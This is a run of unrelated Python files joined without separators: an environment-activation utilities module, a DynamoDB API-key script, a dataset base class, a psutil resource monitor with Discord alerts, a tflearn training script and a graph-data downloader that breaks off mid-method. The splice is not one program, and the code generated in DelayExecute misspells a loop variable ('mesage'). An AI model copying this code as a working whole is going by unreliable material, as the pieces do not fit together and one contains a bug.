# ----------------------------------------------------------------------
# |
# |  Utilities.py
# |
# |  David Brownell <db@DavidBrownell.com>
# |      2018-02-11 13:16:51
# |
# ----------------------------------------------------------------------
# |
# |  Copyright David Brownell 2018.
# |  Distributed under the Boost Software License, Version 1.0.
# |  (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
# |
# ----------------------------------------------------------------------
import hashlib
import os
import re
import sys
import textwrap

from collections import OrderedDict

import six
import six.moves.cPickle as pickle

import SourceRepositoryTools
from SourceRepositoryTools.Impl import CommonEnvironmentImports
from SourceRepositoryTools.Impl import Constants

# ----------------------------------------------------------------------
_script_fullpath = os.path.abspath(__file__) if "python" in sys.executable.lower() else sys.executable
_script_dir, _script_name = os.path.split(_script_fullpath)
# ----------------------------------------------------------------------

# ----------------------------------------------------------------------
def GenerateCommands( functor,              # def Func() -> []
                      environment,
                      is_debug,
                    ):
    """Returns (result, generated_commands)"""

    assert functor
    assert environment

    commands = []

    try:
        result = functor()

        if isinstance(result, tuple):
            result, commands = result
        else:
            commands = result
            result = 0

    except Exception as ex:
        if is_debug:
            import traceback

            error = traceback.format_exc()
        else:
            error = str(ex)

            if not error.endswith('.'):
                error += '.'

        commands = [ CommonEnvironmentImports.Shell.Message("ERROR: {}".format(CommonEnvironmentImports.StreamDecorator.LeftJustify(error, len("ERROR: ")))),
                     CommonEnvironmentImports.Shell.Exit(pause_on_error=True, return_code=-1),
                   ]

        result = -1

    if is_debug:
        sink = six.moves.StringIO()
        CommonEnvironmentImports.StreamDecorator(sink, line_prefix="Debug: ").write(environment.GenerateCommands(commands))
        sink = sink.getvalue()

        commands = [ CommonEnvironmentImports.Shell.Message("{}\n".format(sink)), ] + commands

    return result, commands

# ----------------------------------------------------------------------
def DelayExecute(method, *args, **kwargs):
    """\
    The vast majority of activation activities can be created at script generation time.
    But, there are some actions that must be run at execution time, as they rely on information
    or state changes output by the statements that run immediately before them.

    For example, an action may rely on an environment variable being created; this environment
    variable will not exist at generation time (as the code to create the variable will
    have not been executed yet).

    In situations like this, this method will create a series of Shell commands that
    run the provided method at execution time rather than code generation time.
    """

    assert method

    environment = CommonEnvironmentImports.Shell.GetEnvironment()

    script_tempfile = environment.CreateTempFilename(environment.ScriptExtension)
    python_tempfile = environment.CreateTempFilename(".py")
    pickle_tempfile = environment.CreateTempFilename(".pickle")

    # Write the arguments
    with open(pickle_tempfile, 'wb') as f:
        pickle.dump((args, kwargs), f)

    # Write the python code
    with open(python_tempfile, 'w') as f:
        file_path, file_name = os.path.split(six.get_function_code(method).co_filename)
        file_name = [ os.path.splitext(file_name)[0], ]

        # Import by the fully qualified name
        while os.path.isfile(os.path.join(file_path, "__init__.py")):
            potential_file_path, name_part = os.path.split(file_path)

            assert potential_file_path != file_path, file_path
            assert name_part

            file_path = potential_file_path
            file_name.insert(0, name_part)

        file_name = '.'.join(file_name)

        f.write(textwrap.dedent(
            """\
            import os
            import sys

            import six

            import six.moves.cPickle as pickle

            sys.path.insert(0, r"{common_environment_path}")
            from CommonEnvironment import Shell
            from CommonEnvironment.StreamDecorator import StreamDecorator
            del sys.path[0]

            sys.path.insert(0, r"{file_path}")
            from {file_name} import {method_name}
            del sys.path[0]

            # Read the arguments
            with open(r"{pickle_tempfile}", 'rb') as f:
                args, kwargs = pickle.load(f)

            try:
                result = {method_name}(*args, **kwargs)

                if isinstance(result, tuple):
                    result, commands = result
                elif result is None:
                    result = 0
                    commands = []
                else:
                    commands = result
                    result = 0

            except:
                result = -1
                commands = []

                import traceback
                sys.stderr.write("ERROR: {{}}".format(StreamDecorator.LeftJustify(traceback.format_exc(), len("ERROR: "))))

            if result != 0:
                messages = [ command for command in commands if isinstance(command, Shell.Message) ]
                for mesage in messages:
                    sys.stderr.write(message.value)

                sys.stderr.write("\\n")
                sys.exit(result)

            # Prep for execution
            environment = Shell.GetEnvironment()

            with open(r"{script_tempfile}", 'w') as f:
                f.write(environment.GenerateCommands(commands))

            environment.MakeFileExecutable(r"{script_tempfile}")

            """).format( common_environment_path=os.path.join(SourceRepositoryTools.GetFundamentalRepository(), Constants.LIBRARIES_SUBDIR, "Python", "CommonEnvironment", "v1.0"),
                         file_path=file_path,
                         file_name=file_name,
                         method_name=method.__name__,
                         script_tempfile=script_tempfile,
                         pickle_tempfile=pickle_tempfile,
                       ))

    return [ environment.Comment("-- Delay executing '{}' in '{}'".format(method.__name__, six.get_function_code(method).co_filename)),

             environment.Execute('{} "{}"'.format(os.getenv("PYTHON_BINARY"), python_tempfile)),
             environment.ExitOnError(),
             environment.Call(script_tempfile),
             environment.ExitOnError(),

             environment.RemoveFile(python_tempfile),
             environment.RemoveFile(pickle_tempfile),
             environment.RemoveFile(script_tempfile),

             environment.Comment("-- End delay execution"),
           ]

# ----------------------------------------------------------------------
_GetRepositoryUniqueId_regex                = None

def GetRepositoryUniqueId( repo_root,
                           scm=None,
                           throw_on_error=True,
                           find_by_scm=True,
                         ):
    global _GetRepositoryUniqueId_regex

    if _GetRepositoryUniqueId_regex is None:
        _GetRepositoryUniqueId_regex = CommonEnvironmentImports.RegularExpression.TemplateStringToRegex(Constants.REPOSITORY_ID_CONTENT_TEMPLATE)

    filename = os.path.join(repo_root, Constants.REPOSITORY_ID_FILENAME)
    if os.path.isfile(filename):
        match = _GetRepositoryUniqueId_regex.match(open(filename).read())
        if not match:
            raise Exception("The content in '{}' appears to be corrupt".format(filename))

        name = match.group("name")
        unique_id = match.group("guid").upper()

    elif find_by_scm:
        if scm is None:
            scm = CommonEnvironmentImports.SourceControlManagement.GetSCM(repo_root, throw_on_error=False)
            if scm is None:
                if throw_on_error:
                    raise Exception("Id information was not found nor could SCM information be extracted from '{}'".format(repo_root))

                return None

        unique_id = scm.GetUniqueName(repo_root)
        name = unique_id

    else:
        if throw_on_error:
            raise Exception("Unable to find repository information for '{}'".format(repo_root))

        return None

    return name, unique_id

# ----------------------------------------------------------------------
def CalculateFingerprint(repo_dirs, relative_root=None):
    """\
    Returns a value that can be used to determine if any configuration info has
    changed for a repo and its dependencies.
    """

    results = {}

    for repo_dir in repo_dirs:
        md5 = hashlib.md5()

        filename = os.path.join(repo_dir, Constants.SETUP_ENVIRONMENT_CUSTOMIZATION_FILENAME)
        if os.path.isfile(filename):
            with open(filename, 'rb') as f:
                # Skip the file header, as it has no impact on the file's actual contents
                in_file_header = True

                for line in f:
                    if in_file_header and line.lstrip().startswith(b'#'):
                        continue

                    in_file_header = False
                    md5.update(line)

            if relative_root:
                repo_dir = CommonEnvironmentImports.FileSystem.GetRelativePath(relative_root, repo_dir)

            results[repo_dir] = md5.hexdigest()

    return results

# ----------------------------------------------------------------------
def GetLatestVersion(version_strings):
    if not version_strings:
        return

    # Convert the version strings into semantic version values
    import semantic_version

    lookup = {}
    versions = []

    for version_string in version_strings:
        original_version_string = version_string

        for potential_prefix in [ "v", "r", ]:
            if version_string.startswith(potential_prefix):
                version_string = version_string[len(potential_prefix):]
                break

        try:
            # Remove leading zeros from version string values
            parts = []

            for part in version_string.split('.'):
                index = 0

                if len(part) > 1:
                    while index < len(part) and part[index] == '0':
                        index += 1

                parts.append(part[index:])

            version = semantic_version.Version.coerce('.'.join(parts))

            lookup[version] = original_version_string
            versions.append(version)

        except ValueError:
            continue

    if not versions:
        return None

    versions.sort(reverse=True)
    return lookup[versions[0]]

# ----------------------------------------------------------------------
def GetVersionedDirectory(version_info, *path_components_or_fullpath):
    """\
    Returns the name of the latest versioned directory.
    """
    return GetVersionedDirectoryEx(version_info, *path_components_or_fullpath)[0]

# ----------------------------------------------------------------------
def GetVersionedDirectoryEx(version_info, *path_components_or_fullpath):
    """\
    Returns the name of the latest versioned directory and its version.
    """

    # This method can be called in these ways:
    #   1) With a fullpath
    #   2) With path components

    if len(path_components_or_fullpath) == 1:
        fullpath = path_components_or_fullpath[0]
        path_components = fullpath.split(os.path.sep)
    else:
        fullpath = os.path.join(*path_components_or_fullpath)
        path_components = path_components_or_fullpath

    # The last part of the path is the name of the library/tool.
    # The second to last part is the type (e.g. Tools, Library, etc.)
    assert len(path_components) >= 1, fullpath

    name = path_components[-1]

    explict_version = CommonEnvironmentImports.CommonEnvironment.Get( version_info,
                                                                      lambda vi: vi.Name == name,
                                                                      lambda vi: vi.Version,
                                                                    )
    if explict_version is None:
        explict_version = GetLatestVersion([ item for item in os.listdir(fullpath) if os.path.isdir(os.path.join(fullpath, item)) ])

    if explict_version:
        fullpath = os.path.join(fullpath, explict_version)

    assert os.path.isdir(fullpath), fullpath

    fullpath = GetCustomizedPath(fullpath)
    assert os.path.isdir(fullpath), fullpath

    return fullpath, explict_version

# ----------------------------------------------------------------------
def GetCustomizedPath(path, environment=None):
    """\
    Drill into environment-specific folders if they exist.
    """

    assert os.path.isdir(path), path
    environment = environment or CommonEnvironmentImports.Shell.GetEnvironment()

    # ----------------------------------------------------------------------
    def OnCustomizedPathError(path, error):
        raise Exception(error)

    # ----------------------------------------------------------------------

    return GetCustomizedPathEx(path, OnCustomizedPathError, environment=environment)

# ----------------------------------------------------------------------
def GetCustomizedPathEx( path,
                         onError,           # def Func(path, error_string) -> GetCustomizedPathEx result value
                         environment=None,
                       ):
    assert os.path.isdir(path), path
    assert onError
    environment = environment or CommonEnvironmentImports.Shell.GetEnvironment()

    while True:
        subdirs = os.listdir(path)

        if IsOSNameDirectory(path):
            if environment.Name in subdirs:
                path = os.path.join(path, environment.Name)
            elif environment.CategoryName in subdirs:
                path = os.path.join(path, environment.CategoryName)
            elif Constants.AGNOSTIC_OS_NAME in subdirs:
                path = os.path.join(path, Constants.AGNOSTIC_OS_NAME)
            else:
                return onError(path, "OS names were found in '{}', but no customization was found for '{}' (is one of {} missing?).".format( path,
                                                                                environment.Name,
                                                                                ', '.join([ "'{}'".format(name) for name in [ environment.Name, environment.CategoryName, Constants.AGNOSTIC_OS_NAME, ] ]),
                                                                                ))

        elif IsOSVersionDirectory(path, environment):
            if environment.OSVersion in subdirs:
                path = os.path.join(path, environment.OSVersion)
            else:
                return onError(path, "OS versions were found in '{}', but no customization was found for '{}'.".format(path, environment.OSVersion))

        elif IsOSArchitectureDirectory(path, environment):
            if environment.OSArchitecture in subdirs:
                path = os.path.join(path, environment.OSArchitecture)
            else:
                return onError(path, "OS architectures were found in '{}', but no customizations were found for '{}'.".format(path, environment.OSArchitecture))

        else:
            break

    return path

# ----------------------------------------------------------------------
def IsOSNameDirectory(path, subdirs=None):
    potential_os_names = set([ Constants.AGNOSTIC_OS_NAME, "src", ])

    for env in CommonEnvironmentImports.Shell.GetPotentialEnvironments():
        potential_os_names.add(env.Name)
        potential_os_names.add(env.CategoryName)

    return _IsImpl(path, potential_os_names, subdirs=subdirs)

# ----------------------------------------------------------------------
def IsOSVersionDirectory(path, environment, subdirs=None):
    return _IsImpl(path, environment.PotentialOSVersionDirectoryNames, subdirs=subdirs)

# ----------------------------------------------------------------------
def IsOSArchitectureDirectory(path, environment, subdirs=None):
    return _IsImpl(path, environment.PotentialOSArchitectureDirectoryNames, subdirs=subdirs)

# ----------------------------------------------------------------------
def GetActivationDir(environment, repo_root, configuration):
    return os.path.join( repo_root,
                         Constants.GENERATED_DIRECTORY_NAME,
                         environment.CategoryName,
                         configuration or "Default",
                       )

# ----------------------------------------------------------------------
# ----------------------------------------------------------------------
# ----------------------------------------------------------------------
def _IsImpl(path, valid_items, subdirs=None):
    subdirs = subdirs or [ item for item in os.listdir(path) if os.path.isdir(os.path.join(path, item)) ]

    for subdir in subdirs:
        if subdir not in valid_items:
            return False

    return bool(subdirs)


import boto3
import json
from hashlib import sha256
import string
import random
import time
import argparse

def add_api_key_to_dynamodb(organization_ID, api_key, iam_user, graphql_api_id, env):

    table_name = 'APIKeyPermission'

    client_session = boto3.Session(profile_name=iam_user)

    dynamo_client = client_session.resource('dynamodb')

    full_table_name = table_name + '-' + graphql_api_id + '-' + env

    table = dynamo_client.Table(full_table_name)

    api_key_hashed = sha256(api_key.encode('utf-8')).hexdigest()

    id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10)) + str(int(time.time()*1000))

    table.put_item(
        Item={
            "id": id,
            "APIKeyHashed": api_key_hashed,
            "organizationID": organization_ID
        }
    )

if __name__ == '__main__':

    parser = argparse.ArgumentParser(description='Add api_key to dynamodb')
    parser.add_argument('organization_ID', help='organizationID : This is a string which uniquely identifies the organization')
    parser.add_argument('api_key', help='API_Key: API_Key which can be used to access the api for the organization')

    args = parser.parse_args()

    organization_ID = args.organization_ID
    api_key = args.api_key

    with open('parameters.json') as parameters_file:
        parameters = json.load(parameters_file)

    destination_iam_user = parameters['destination_iam_user']
    destination_graphql_api_id = parameters['destination_graphql_api_id']
    destination_env = parameters['destination_env']
    print(destination_env, destination_iam_user, destination_graphql_api_id)
    add_api_key_to_dynamodb(organization_ID, api_key, destination_iam_user, destination_graphql_api_id, destination_env)


import os
import random
import os.path as osp
import tarfile
import zipfile
from collections import defaultdict
import gdown

from dassl.utils import check_isfile

class Datum:
    """Data instance which defines the basic attributes.

    Args:
        impath (str): image path.
        label (int): class label.
        domain (int): domain label.
        classname (str): class name.
    """

    def __init__(self, impath="", label=0, domain=0, classname=""):
        assert isinstance(impath, str)
        assert check_isfile(impath)

        self._impath = impath
        self._label = label
        self._domain = domain
        self._classname = classname

    @property
    def impath(self):
        return self._impath

    @property
    def label(self):
        return self._label

    @property
    def domain(self):
        return self._domain

    @property
    def classname(self):
        return self._classname

class DatasetBase:
    """A unified dataset class for
    1) domain adaptation
    2) domain generalization
    3) semi-supervised learning
    """

    dataset_dir = ""  # the directory where the dataset is stored
    domains = []  # string names of all domains

    def __init__(self, train_x=None, train_u=None, val=None, test=None):
        self._train_x = train_x  # labeled training data
        self._train_u = train_u  # unlabeled training data (optional)
        self._val = val  # validation data (optional)
        self._test = test  # test data
        self._num_classes = self.get_num_classes(train_x)
        self._lab2cname, self._classnames = self.get_lab2cname(train_x)

    @property
    def train_x(self):
        return self._train_x

    @property
    def train_u(self):
        return self._train_u

    @property
    def val(self):
        return self._val

    @property
    def test(self):
        return self._test

    @property
    def lab2cname(self):
        return self._lab2cname

    @property
    def classnames(self):
        return self._classnames

    @property
    def num_classes(self):
        return self._num_classes

    @staticmethod
    def get_num_classes(data_source):
        """Count number of classes.

        Args:
            data_source (list): a list of Datum objects.
        """
        label_set = set()
        for item in data_source:
            label_set.add(item.label)
        return max(label_set) + 1

    @staticmethod
    def get_lab2cname(data_source):
        """Get a label-to-classname mapping (dict).

        Args:
            data_source (list): a list of Datum objects.
        """
        container = set()
        for item in data_source:
            container.add((item.label, item.classname))
        mapping = {label: classname for label, classname in container}
        labels = list(mapping.keys())
        labels.sort()
        classnames = [mapping[label] for label in labels]
        return mapping, classnames

    def check_input_domains(self, source_domains, target_domains):
        assert len(source_domains) > 0, "source_domains (list) is empty"
        assert len(target_domains) > 0, "target_domains (list) is empty"
        self.is_input_domain_valid(source_domains)
        self.is_input_domain_valid(target_domains)

    def is_input_domain_valid(self, input_domains):
        for domain in input_domains:
            if domain not in self.domains:
                raise ValueError(
                    "Input domain must belong to {}, "
                    "but got [{}]".format(self.domains, domain)
                )

    def download_data(self, url, dst, from_gdrive=True):
        if not osp.exists(osp.dirname(dst)):
            os.makedirs(osp.dirname(dst))

        if from_gdrive:
            gdown.download(url, dst, quiet=False)
        else:
            raise NotImplementedError

        print("Extracting file ...")

        if dst.endswith(".zip"):
            zip_ref = zipfile.ZipFile(dst, "r")
            zip_ref.extractall(osp.dirname(dst))
            zip_ref.close()

        elif dst.endswith(".tar"):
            tar = tarfile.open(dst, "r:")
            tar.extractall(osp.dirname(dst))
            tar.close()

        elif dst.endswith(".tar.gz"):
            tar = tarfile.open(dst, "r:gz")
            tar.extractall(osp.dirname(dst))
            tar.close()

        else:
            raise NotImplementedError

        print("File extracted to {}".format(osp.dirname(dst)))

    def generate_fewshot_dataset(
        self, *data_sources, num_shots=-1, repeat=False
    ):
        """Generate a few-shot dataset (typically for the training set).

        This function is useful when one wants to evaluate a model
        in a few-shot learning setting where each class only contains
        a small number of images.

        Args:
            data_sources: each individual is a list containing Datum objects.
            num_shots (int): number of instances per class to sample.
            repeat (bool): repeat images if needed (default: False).
        """
        if num_shots < 1:
            if len(data_sources) == 1:
                return data_sources[0]
            return data_sources

        print(f"Creating a {num_shots}-shot dataset")

        output = []

        for data_source in data_sources:
            tracker = self.split_dataset_by_label(data_source)
            dataset = []

            for label, items in tracker.items():
                if len(items) >= num_shots:
                    sampled_items = random.sample(items, num_shots)
                else:
                    if repeat:
                        sampled_items = random.choices(items, k=num_shots)
                    else:
                        sampled_items = items
                dataset.extend(sampled_items)

            output.append(dataset)

        if len(output) == 1:
            return output[0]

        return output

    def split_dataset_by_label(self, data_source):
        """Split a dataset, i.e. a list of Datum objects,
        into class-specific groups stored in a dictionary.

        Args:
            data_source (list): a list of Datum objects.
        """
        output = defaultdict(list)

        for item in data_source:
            output[item.label].append(item)

        return output

    def split_dataset_by_domain(self, data_source):
        """Split a dataset, i.e. a list of Datum objects,
        into domain-specific groups stored in a dictionary.

        Args:
            data_source (list): a list of Datum objects.
        """
        output = defaultdict(list)

        for item in data_source:
            output[item.domain].append(item)

        return output


from abc import ABC, abstractmethod
import argparse
import datetime
import json
import logging
import itertools
import os
import os.path
import time
import traceback
import typing
import uuid

import psutil

from constants import (
    REPORTS_DIR,
    CONFIG_FILE_PATH,
    ALERT_SNOOZE_TIME_SECONDS,
)
from utils.data_cache import (
    read_saved_value,
    write_saved_value,
    DataCacheMissError,
    DataCacheKeyExpired,
)
from utils.discord import create_discord_message
from utils.logger import spawn_logger
from utils.pid import (
    create_pid_file,
    remove_pid_file,
    PIDFileExistsException,
)
from utils.helpers import md5sum

# Config validation
class InvalidConfigError(Exception):
    pass

def validate_config(config: typing.Dict):
    if 'max_memory_percent' not in config:
        raise InvalidConfigError("expected config value 'max_memory_percent'")
    if 'max_cpu_percent' not in config:
        raise InvalidConfigError("expected config value 'max_cpu_percent'")
    if 'max_disk_percent' not in config:
        raise InvalidConfigError("expected config value 'max_disk_percent'")

    def _validate_percent_value(v: float, name: str):
        if not isinstance(v, float) or v < 0 or v > 1:
            raise InvalidConfigError(f'field {v} has invalid value')

    _validate_percent_value(config['max_memory_percent'], 'max_memory_percent')
    _validate_percent_value(config['max_cpu_percent'], 'max_cpu_percent')
    _validate_percent_value(config['max_disk_percent'], 'max_disk_percent')

    if "user_names_to_ignore" not in config or not isinstance(config['user_names_to_ignore'], list):
        raise InvalidConfigError(f'expected field user_names_to_ignore to be a list')

    if "process_names_to_ignore" not in config or not isinstance(config['process_names_to_ignore'], list):
        raise InvalidConfigError(f'expected field process_names_to_ignore to be a list')

    if "discord_bot" in config:
        if "channel_id" not in config["discord_bot"]:
            raise InvalidConfigError(
                "discord_bot object expected key channel_id"
            )
        if not config["discord_bot"]['channel_id'] or len(config["discord_bot"]['channel_id']) < 5:
            raise InvalidConfigError(
                "discord_bot object contains invalid key channel_id"
            )
        if "bot_token" not in config["discord_bot"]:
            raise InvalidConfigError(
                "discord_bot object expected key bot_token"
            )
        if not config["discord_bot"]['bot_token'] or len(config["discord_bot"]['bot_token']) < 5:
            raise InvalidConfigError(
                "discord_bot object contains invalid key bot_token"
            )

# Alert type definitions # # # # # #

class AlertType:
    PROCESSES = "PROCESSES"
    RESOURCES = "RESOURCES"

class ResourceNames:
    MEMORY = "MEMORY"
    CPU = "CPU"
    DISK = "DISK"

class BaseAlert(ABC):

    alert_type = NotImplemented
    notice_fields = NotImplemented

    @abstractmethod
    def to_key_name(self) -> str:
        pass

    def to_email_string(self) -> str:
        parts = []
        for field in self.notice_fields:
            parts.append(f"{field}: {getattr(self, field)}")
        return "\n".join(parts)

class SystemResourceUsageAlert(BaseAlert):

    alert_type = AlertType.RESOURCES
    notice_fields = [
        'resource_name',
        'resource_usage_percent',
    ]

    def __init__(
        self,
        resource_name: str,
        resource_usage_percent: float,
    ):
        self.resource_name = resource_name
        self.resource_usage_percent = resource_usage_percent

    def to_key_name(self):
        return self.resource_name

    def __str__(self):
        return f"<ResourceAlert {self.resource_name} @ {round(self.resource_usage_percent, 4)}>"

class ProcessAlert(BaseAlert):

    alert_type = AlertType.PROCESSES
    notice_fields = [
        'process_id',
        'user_uid',
        'user_name',
        'command',
        'priority',
        'created_at',
    ]

    def __init__(
        self,
        process_id: str,
        user_uid: int,
        user_name: str,
        command: str,
        priority: str,
        created_at: str,
    ):
        self.process_id = process_id
        self.user_uid = user_uid
        self.user_name = user_name
        self.command = command
        self.priority = priority
        self.created_at = created_at

    def to_key_name(self):
        return md5sum(f"{self.process_id}-{self.user_uid}-{self.command}")

    def __str__(self):
        return f"<ProcessAlert pid{self.process_id} uid{self.user_uid}>"

# # Check for resource alerts # # # # # #

def get_system_resource_usage_alerts(logger, config) -> typing.List[SystemResourceUsageAlert]:
    # Memory
    memory_used_percent = psutil.virtual_memory().percent / 100
    logger.info(f"memory_used_percent {memory_used_percent}")
    # CPU
    cpu_useage_percent = psutil.cpu_percent(interval=0.5) / 100
    logger.info(f"cpu_useage_percent {cpu_useage_percent}")
    # Disk
    disk_useage_percent = psutil.disk_usage("/").percent / 100
    logger.info(f"disk_useage_percent {disk_useage_percent}")

    alerts = []
    if memory_used_percent > config['max_memory_percent']:
        alerts.append(SystemResourceUsageAlert(
            ResourceNames.MEMORY,
            memory_used_percent
        ))
        logger.warning(f"creating alert for MEMORY usage")
    if cpu_useage_percent > config['max_cpu_percent']:
        alerts.append(SystemResourceUsageAlert(
            ResourceNames.CPU,
            cpu_useage_percent
        ))
        logger.warning(f"creating alert for CPU usage")
    if disk_useage_percent > config['max_disk_percent']:
        alerts.append(SystemResourceUsageAlert(
            ResourceNames.DISK,
            disk_useage_percent
        ))
        logger.warning(f"creating alert for DISK usage")

    return alerts

# # Check for processes alerts # # # # # #

def get_processes_alerts(logger, config) -> typing.List[ProcessAlert]:
    alerts = []
    for proc in psutil.process_iter():
        with proc.oneshot():
            pid = proc.pid
            user_uid = proc.uids().real
            user_name = proc.username()
            command = f"{proc.name()} ({proc.exe()})"
            created_at =  datetime.datetime.fromtimestamp(proc.create_time()).strftime("%Y-%m-%d %H:%M:%S")
            priority = proc.nice()

        if user_name in config['user_names_to_ignore']:
            continue
        if proc.name() in config['process_names_to_ignore']:
            if priority >= 0:
                # We expect this to be 0 or higher.
                # if < 0 then process has elevated priority
                continue

        logger.warning(f"creating alert for process")
        alerts.append(ProcessAlert(
            pid, user_uid, user_name, command, priority, created_at
        ))

    return alerts

# # # Script Entry Point # # # # # # # # #

def main(logger: logging.Logger, config: typing.Dict) -> None:
    logger.debug("main method running")

    logger.debug("checking for alerts")
    resource_alerts = get_system_resource_usage_alerts(logger, config)
    process_alerts = get_processes_alerts(logger, config)
    if len(resource_alerts) == 0 and len(process_alerts) == 0:
        logger.debug("no alerts found")
        return

    if len(resource_alerts):
        logger.warning(f"found {len(resource_alerts)} resource alert(s)")
    if len(process_alerts):
        logger.warning(f"found {len(process_alerts)} process alert(s)")

    message_text = []
    for alert in itertools.chain(resource_alerts, process_alerts):

        alert_cache_key = alert.to_key_name()
        try:
            # Check cache to see if we've sent an alert for this event recently.
            # We don't want to spam alerts.
            read_saved_value(alert_cache_key)
        except (DataCacheMissError, DataCacheKeyExpired):
            send_alert = True
            logger.debug(f"cache miss, writing key to cache: {alert_cache_key}")
            write_saved_value(alert_cache_key, None, ALERT_SNOOZE_TIME_SECONDS)
        else:
            logger.debug("cache hit")
            logger.warning(f"not sending alert {alert}, cache key found")
            send_alert = False

        if send_alert:
            logger.warning(f" **** SENDING ALERT **** {alert}")
            message_text.append(alert.to_email_string())

    if len(message_text):
        file_report_path = os.path.join(REPORTS_DIR, str(uuid.uuid4()) + ".report")
        # Send messages
        if "discord_bot" in config and not config['discord_bot'].get("skip"):
            logger.debug("sending discord message")
            max_discord_messages = 5
            chunk_size = 12
            for ix, i in enumerate(range(0, len(message_text), chunk_size)):
                if i > 0:
                    time.sleep(1.5)
                create_discord_message(
                    "\n\n".join(message_text[i: i+chunk_size]),
                    config['discord_bot']['bot_token'],
                    config['discord_bot']['channel_id'],
                    logger,
                )
                if ix >= max_discord_messages:
                    # write the rest to disk
                    logger.debug("creating incident report file")
                    with open(file_report_path, "w") as f:
                        f.write("\n\n".join(message_text[i+chunk_size:]))
                    create_discord_message(
                        "Additional indicent details written to " + file_report_path,
                        config['discord_bot']['bot_token'],
                        config['discord_bot']['channel_id'],
                        logger,
                    )
                    break

        else:
            logger.debug("creating incident report file")
            with open(file_report_path, "w") as f:
                f.write("\n\n".join(message_text))

    else:
        logger.warning("no messages to send")

if __name__ == "__main__":

    # check if production. If prod = True, no console logging and send alerts
    #                      If prod = False, log to console, show alerts in console.
    parser = argparse.ArgumentParser()
    parser.add_argument('-p', '--production', action='store_true')
    args = parser.parse_args()

    logger = spawn_logger(args.production)

    # Load config
    try:
        with open(CONFIG_FILE_PATH) as f:
            config = json.load(f)
        validate_config(config)
    except IOError:
        logger.error("could not find config file")
        logger.error(traceback.format_exc())
        raise
    except InvalidConfigError:
        logger.error("invalid config file")
        logger.error(traceback.format_exc())
        raise

    # Create pid file right before calling main
    try:
        create_pid_file()
    except PIDFileExistsException:
        logger.error("found PID file, exiting")
        raise

    # Call main method and log any errors.
    try:
        main(logger, config)
    except Exception as e:
        logger.error(f"An Error Occured :(: {e}")
        logger.error(traceback.format_exc())
        raise
    finally:
        remove_pid_file()
        logger.debug("goodbye")


import tflearn
from tflearn.layers.conv import conv_2d, max_pool_2d
from tflearn.layers.core import input_data, dropout, fully_connected
from tflearn.layers.estimator import regression
from tflearn.data_preprocessing import ImagePreprocessing
from tflearn.data_augmentation import ImageAugmentation

# Build the preloader array, resize images to 128x128
from tflearn.data_utils import image_preloader
from tflearn.metrics import R2

#%%
import numpy as np
from numpy.random import randint

import random

import os
from random import sample

import tensorflow as tf

from PIL import Image, ImageOps

#%%

# Real-time data preprocessing
img_prep = ImagePreprocessing()
img_prep.add_featurewise_zero_center()
img_prep.add_featurewise_stdnorm()

# Real-time data augmentation
img_aug = ImageAugmentation()
img_aug.add_random_flip_leftright()
img_aug.add_random_rotation(max_angle=25.)

def defineArchitecture():

	# Input is a 32x32 image with 1 color channels (grayscale)
	network = convnet = input_data(shape=[None, 32, 32, 1], data_preprocessing=img_prep,
                     data_augmentation=img_aug, name='input')

	network = conv_2d(network, 32, 1, activation='relu', regularizer='L2')

	network = max_pool_2d(network, 2)

	network = conv_2d(network, 64, 1, activation='relu', regularizer='L2')

	network = max_pool_2d(network, 1)

	network = conv_2d(network, 64, 1, activation='relu', regularizer='L2')

	network = max_pool_2d(network, 2)

	# Step 6: Fully-connected 512 node neural network
	network = fully_connected(network, 512, activation='relu')

	network = dropout(network, 0.5)

	network = fully_connected(network, 16, activation='softmax')
	network = regression(network, optimizer='adam', learning_rate=0.001, loss='categorical_crossentropy', name='targets')

	return network
#%%

model = tflearn.DNN(defineArchitecture(), tensorboard_verbose=0, tensorboard_dir="/output")

train_images = []
train_labels = []

test_images = []
test_labels = []

train_dataset_file = 'files.txt'

feature_set = 'corpus.txt'
with open(feature_set) as inFile:
	list = []
	for line in inFile:
		parts = line.split(' ')
		labels = []
		for i in parts[1:]:
			labels.append(float(i))
		list.append(labels)
	Y = np.array(list)

X, _ = image_preloader(train_dataset_file, image_shape=(32, 32),   mode='file', categorical_labels=False, normalize=False, grayscale=True)
X = np.reshape(X, (-1, 32, 32, 1))

model.fit({'input': X}, {'targets': Y}, shuffle=True, batch_size=96, n_epoch=300, validation_set=0.2, show_metric=True, run_id='da-simulated')

del tf.get_collection_ref(tf.GraphKeys.TRAIN_OPS)[:]

model.save('da.model')

print("Testing")

folder_names = ["7","8","9","10"]
direction_names = ["Up", "Down", "Left", "Right"]

images = []

for dir in folder_names:
	for subdir in os.listdir(dir):
		images.append(dir + "/" + subdir + "/" + sample(os.listdir(dir + "/" + subdir),1)[0])

predictions = []

for img in images:
	image_vector = np.array(Image.open(img)).reshape(-1, 32, 32, 1).astype("float")
	prediction = model.predict(image_vector)
	#print(img)
	#print(np.round(prediction, 2))

	possibilities = (-prediction[0]).argsort()[:3]

	output = img + "\t\t"
	for pos in possibilities:
		output = output + " " + folder_names[int(pos/len(folder_names))] + "-" + direction_names[pos%len(direction_names)] + "(" + str(round(prediction[0][pos]*100)) + "%) "

	print(output)


import networkx as nx
from subprocess import call
import igraph
from igraph import VertexCover
import os
import glob

from circulo.data.databot import CirculoData

class SchoolData(CirculoData):

    def __download__(self):
        """
        Downloads graphs from http://www.sociopatterns.org/datasets/primary-school-cumulative-networks/
        and saves them in a directory data. If data already exists, it will not redownload
        the files
        """

        try:
            # Probably shouldn't be starting a subprocess, do this with a library
            # like urllib2
            call(["curl", "--create-dirs","-o", os.path.join(self.raw_data_path, "out_#1.gexf.gz"),"http://www.sociopatterns.org/wp-content/uploads/2014/05/sp_data_school_day_[1-2]_g.gexf_.gz"])
        except Exception as e:
            print("cURL failed -- make sure you have cURL, and make sure the site still has the graph data.")
            raise(e)
        for filename in glob.glob(os.path.join(self.raw_data_path,"*.gz")):
            call(["gunzip", filename])

    def __prepare__(self):

        for f in glob.glob(os.path.join(self.raw_data_path, "*.gexf")):

            G = nx.read_gexf(f)
            for node in G.node:
                for attrib in G.node[node]:
                    if type(G.node[node][attrib]) == dict:
                        # graphML doesn't play nice with dictionaries as attributes.
                        # this line just deletes positional information.
                        G.node[node][attrib] = 0
            #newFileName = f[:f.rfind('.')] + ".graphml"
            nx.write_graphml(G, self.graph_path)

    def get_ground_truth(self, G):

        class_list = G.vs['classname']
        class_dict = dict.fromkeys(class_list)

        #set the indices for lookup purposes. These will be the cluster ids
